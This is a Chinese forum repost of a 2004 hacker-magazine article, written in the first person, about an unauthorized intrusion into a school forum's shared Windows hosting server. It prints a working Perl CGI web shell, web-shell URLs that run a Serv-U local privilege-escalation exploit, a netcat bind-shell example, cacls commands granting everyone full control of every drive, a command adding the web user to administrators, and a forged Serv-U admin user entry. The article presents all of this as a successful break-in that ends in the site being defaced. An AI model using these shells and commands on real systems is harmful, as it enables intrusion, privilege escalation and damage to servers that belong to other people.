找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1847|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ' w/ w$ ^  @) g8 @4 k
本文作者:angel( g( A3 b; t# E9 R: @7 M
文章性质:原创
0 k0 a" X8 L, x# X发布日期:2004-11-09 * [' L0 y& Y  |
注意:' d: ?, K% j% y4 _' _- \
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。( [. P- m0 n4 J: d( S1 W
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
% T1 A: a2 q  Q) \% ?6 R( I& L. P$ s- C- _( f) L4 r& V: M
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 . G' n% ?7 n0 }# l  T

4 G4 s, V( J6 s. {  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 2 m3 U3 V# R6 b% e+ B

2 l5 e6 l5 f# u5 e$ M4 F" C. @  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
/ W$ a9 O1 t' K
: A3 V, u# x' V0 l) q  s8 W  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
" v1 y: w$ u5 X% e, _
3 J1 |" s  r: ^; H$ n' U  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
7 Y) h3 o$ W& \- \4 E) |/ O. @  H! w' k$ {- \& S
  没有目的的跳转目录着……
% A( h+ H* c& H& j+ I# D" ]9 ?. }* L
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
& ~7 f# O! p2 \
6 n2 l% t" W8 [, }+ N8 e$ g+ G  结束了吗?不,我试着 FTP 一下: # i5 r& n+ c9 P

3 z. {0 U) T/ fMicrosoft Windows 2000 [Version 5.00.2195]7 t4 f9 O4 i* z* O, x  K, n" ^" L
(C) 版权所有 1985-2000 Microsoft Corp. + e; K1 V$ s1 o8 k$ i
: g8 R5 L/ y7 g
C:\Documents and Settings\Administrator>ftp www.school.com8 u/ i" b* i. J* C, h
Connected to www. school.com.
$ z$ U; u% }0 d220 Welcome to FTP Server... 4 M9 `7 }9 @( I2 M! c
User (www.bjtrq.com:(none)):
' f" Q8 F, c4 I5 y& b0 v) m331 User name okay, need password.
! c- ~5 T5 m" G3 }; k8 e9 f6 a$ ~Password:
0 x! |' O' A$ V9 q1 {% R9 U530 Not logged in.
7 b4 c: }1 u3 GLogin failed.
+ z7 T1 ]" d' v7 i& I1 kftp> bye
. Z) _0 a3 Z5 F+ m221 Goodbye!
: ?% v$ L1 E* O; ~
3 [1 u: G: z7 W* c, @& M" C" T0 `! O9 B) y
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
: N! i, ^4 l5 _3 Q. v/ W; Q, J# H3 ?# f) [2 M
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 " e* K5 D: `$ U: I
7 I8 N  |# O) M* j" h
Application Data* _. s0 T2 U( Q3 n, I' c* C: f; e
Documents* J3 A( V( d+ H3 k) V
DRM
7 K' Y0 p) [# w" C" q! o( IFavorites
& K' Q0 W: l7 p7 j8 L7 n2 VTemplates. O7 Z. S8 j! Y4 \/ A% e
「开始」菜单2 E# s2 D0 j* s( k
桌面
/ F9 V# @- L& i  {1 Z+ ? 2 S/ r6 G3 \! X2 m- Z

1 v3 T6 N  R: _4 n1 I6 \: |9 s) n$ q  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 8 Z- N; b5 W, {4 L

: T) M9 ]. k4 `! p( g' @# oActiveState ActivePerl 5.8
& s' O0 `- ^0 LAdministrative Tools
& m* `- X/ l9 q/ \4 EDeerfield.com
  ?! x+ S+ u% s7 l, \( u: C- nDTemp# [! j# m/ s5 z% I5 q5 \
IPSentry
8 I. l3 Y; f" ^' p' TMBM 5
6 x! Y2 u, r: s9 }+ \NetMeter& v8 a/ L; x- ?8 U$ d& M
Network ICE
" ^1 J! Z- |+ m) iPersits Software AspEmail6 k6 N" r& T3 ]
Persits Software AspJpeg* m' i% r7 k" R" u5 k" F* q
Serv-U FTP Server
( K9 f& n8 V0 G( _Symantec Client Security
- l- @# W7 t9 g( zWindows 优化大师
) V3 X* S. ~' m0 sWinRAR8 r; N0 y* C$ f
启动
. @! ]: n! `; @管理工具
9 b" b' o4 d) n* `6 z9 ~2 e4 ]) j附件: i; X8 w- r% M" M, Y2 Q

$ \6 z$ W: t0 ]+ s* `* [& w! P) d, r& h- g9 O5 `  T$ P- J. U
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。   N% _8 t; {. Z8 c4 `! I+ S

7 u+ {) v1 V! E8 R  w  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 0 k  ~6 L8 I# Y; Y+ R0 O

8 u/ r/ [, \& G8 x  uUser281=angel|1|0
( @; H# L  n) _ 0 l. J' G+ ]  |7 [6 a9 s
+ \% H! D1 J/ k, e4 R+ g
  然后加上 . s8 w+ s) [- K9 g! u; h% A
9 n" t4 O/ M5 I( `- H) p  A
[USER=angel|1]7 ]- q# {3 @. P9 H6 ]+ @  D
Password=ng98F85379EA68DBF97BAADCA99B69B8057 V$ [$ Q( h" \+ h  d3 L* w
HomeDir=D:\websites
3 T4 K1 D' t" N. j; hRelPaths=1/ Y) I  B  s4 Y" K: C, S6 j
TimeOut=600
- b; l% B. x; i4 @5 y3 o# HMaintenance=System
  n) }. p' g: r! ?: K0 kAccess1=D:\websites|RWAMELCDP
2 {. Q1 x3 v: d1 `9 u. @3 LSKEYValues=& E- `/ Z8 I9 ]6 J6 z/ s

% x8 u$ @8 I: V* g3 {* H
) x4 E2 r( ^9 `8 r( ?  Z# P8 w  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
7 N- T2 k) N4 k& H6 d! N3 b& J& \6 q5 J9 ~  v* ?% y
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 : Z! i' G+ X9 i; ^5 P5 c

7 ^6 A- N* g9 h- X+ ?; T$ {; a$ ^3 C1 @  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 : E& _. W* r. t; P* K) ?

! H: i5 c6 S0 Q/ g! L  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
% l7 o; r* q1 S" S9 M2 _! F- z; f, q* J
#!/usr/bin/perl* @. c& l  S% `
binmode(STDOUT);/ Z" g$ h$ Y& V. n: w- @9 |- g( T+ A
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);7 m$ z+ Q9 Y0 O/ `
$_ = $ENV{QUERY_STRING};8 n: T% J1 s/ Q' S5 P% P0 Q. P
s/%20/ /ig;
( w: v5 T( ~! c9 M0 |s/%2f/\//ig;
0 g$ ^  s3 k2 O) @! _$execthis = $_;
/ N2 x6 V8 \$ F. t" Bsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
0 o4 j7 v, C  z4 L/ Hopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";+ S7 Y- r2 C; T4 c/ B' x/ O
system($execthis);3 y4 B7 D' b4 y  A
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);% p$ B/ q( \+ g: i( x5 S! ^+ _" j
close(STDERR);
/ t- j8 q* V/ z$ J9 @6 ~4 Lclose(STDOUT);  v9 o3 W7 K! v" }# n4 O' N% i- ?
exit;
3 a  o) A# E+ A6 x/ c" p
: W  @! m* Z8 \% {7 [& [7 T8 g; j, s7 q4 [6 T& x
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
) g, r( t$ v( E0 \4 g4 G' E
0 W( _! i! w: a/ D' `- s2 n  P, {  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: $ I1 E4 B3 d6 k$ f' M
" S# Q# a2 S* F; F9 X' m7 {! ]
http://anyhost//cmd.pl?d:\user\bin\su.exe : k, I* ]+ X1 k# M4 D

) z% A( ~- C# V+ w
6 \6 c& j, L6 I2 b8 ~4 z  返回: ! [, g1 U+ K/ U6 W& a

9 i3 \# W" Q5 GServ-u >3.x Local Exploit by xiaolu ; ~7 ?( L/ N& X# x

' v+ g8 O2 Y' Q- z) U- r9 X4 F5 f0 VUSAGE: serv-u.exe "command" 5 ~5 ^( I7 l1 A5 e, \1 a  h8 G

4 X" H8 q1 B" ]$ _8 \3 ]+ ]Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 1 {7 \" F9 Y$ f5 k2 {; v* D9 V1 V3 E
/ O) e9 }- ?) y9 I7 g
# |, Y9 T- y' F: c$ [% |
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: * z1 a3 d& T$ C* e

6 u. R" e/ X& s0 a! w2 t3 {http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 1 L2 B0 J$ p& `# O- r) v

9 X  t6 O5 K3 k& k7 khttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 1 y& D! w8 `% O! b* g
  C# b) _; ?# R0 |
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" # L$ L% i- n8 Z( X1 t3 B) f/ E: G
5 W6 q, s. L1 W! g& B
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
, Z' w4 ^$ d! m( ~/ D! f
; Z% T* p( t  z' k+ G& c3 E
$ X; s: A4 A! S# [  返回下面的信息,就表示成功了!!! , |4 w' R6 m$ M) j! {

6 O" x/ w9 S6 @+ wServ-u >3.x Local Exploit by xiaolu
3 v: p. M4 ^- M
$ |8 i, }) a( F* g; N<220 Serv-U FTP Server v5.2 for WinSock ready... ) r4 ]! S! [7 Y4 Z6 h+ A6 E

* e6 Q4 S& I, ?3 F# P# W  H  q>USER LocalAdministrator
7 ^9 Q9 T  L3 C, C$ j6 Y7 Y+ B! I
7 O: v/ V! J  w* k<331 User name okay, need password. 3 e* P9 _$ i+ k- O
) X! }" v6 P- e, S& M0 A8 e! X
******************************************************
" [2 e& {9 o  l* {  u- B* I7 W: g8 O& s) L* {
>PASS #l@$ak#.lk;0@P . Y) N) y) L; f. i0 X* W- @! g8 N6 e
3 d0 k7 [6 L2 `% N4 [4 C
<230 User logged in, proceed. 9 X& O) ^. t$ Q7 l  t1 |& ^

* j9 z0 o1 j+ Q: P****************************************************** ( k5 W% M0 V3 w
$ V$ ?0 s) x. S/ X  x$ d- `
>SITE MAINTENANCE
( \6 T# s3 N# Q+ Z' ^+ a2 S- n" N! Z' v# A9 e# w* q
****************************************************** ) i1 a) v$ {9 D6 {/ B
$ x" [. E6 w5 ^* Q) V
[+] Creating New Domain... 7 R" D# ]4 Q" {6 I6 z

1 O3 {" H: l% [( r<200-DomainID=2 2 g: p6 F  e3 @: X+ L# V8 B' {: ]" J

" }4 o5 M3 u0 N9 G3 n. @<220 Domain settings saved ! C0 M! d; u8 q8 h
2 X+ e7 F3 i  q  e: D
****************************************************** 3 F+ ~) b3 @8 s; D+ f) Y

) U. d1 Z3 s: Y9 i1 l$ x[+] Domain xl:2 Created
: E1 c/ i6 V; ^- Y! P& [
$ c2 G- y  N' ^1 H" }[+] Creating Evil User ! M* M, R8 m5 x0 }4 c* K2 k

5 Q8 Z; J( ?* P/ w- q* L<200-User=xl
/ |- u3 S' A) G+ I4 ]- e4 J8 Q8 q
200 User settings saved
0 @. @. |, r2 h9 q5 ?1 z
" F' O) C2 |7 t  D; X9 b; G3 A******************************************************
8 T( S% H' T& Z+ s: F( V8 R
4 W2 p9 l) B4 N& P: W; O+ i[+] Now Exploiting... 5 g- F$ \- q( z$ Q/ L

* Q: D; _! ^2 N: x  p>USER xl
' \& P% _- m) R- u$ t
1 D3 q  y8 [/ C; X5 b* t<331 User name okay, need password.
5 I$ s! k$ D# s' z- E$ ?3 `
  A8 u( K% q) V; L****************************************************** 5 ^3 `* }9 L8 i5 Y% V! w1 e

, ]/ Q* V2 q" Y1 d. J) W>PASS 111111
+ C& ~4 d2 R+ j1 M5 ]+ R* ^  _: N+ A, I
<230 User logged in, proceed. $ R4 Q! n, Z8 R3 ?- b
) w8 }( ?& Z/ d( a  H
****************************************************** 5 m* x, m, x9 E9 Q% n' B
5 ^( V- E; X7 I8 j' a8 m
[+] Now Executing: cacls.exe c: /E /T /G everyone:F % D% }8 E. K$ e2 j/ b

7 h; D3 \5 }  S( |7 c<220 Domain deleted 2 x0 k: q: H( \" B
2 p- H# W' m+ o2 U- K; ~4 d
****************************************************** * [# X# }5 G- Q3 }* G. q' p

; w" ~! h+ a- P8 I/ a  z/ S" b
+ S* W: g. H- O2 k! E6 [  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 U# ^7 V% d# q  x3 K2 G( [# d4 Z2 i- Q  H4 I
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" - z, `; q. ^! `/ q8 \: Y  ^
: G% Y0 W$ S+ r% A! A. |. i5 @
( M$ g" Z3 {0 J2 S1 z0 K9 d  e
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 % w$ Y% |3 d( H1 p% I+ q
6 q; S" k; R8 O) s  S9 {8 b
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
8 }, c) G8 u/ G9 F. X) ?7 x
1 s3 h( s  R" Z. V) L  
/ a5 E# W5 K6 @* ]) F6 I
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表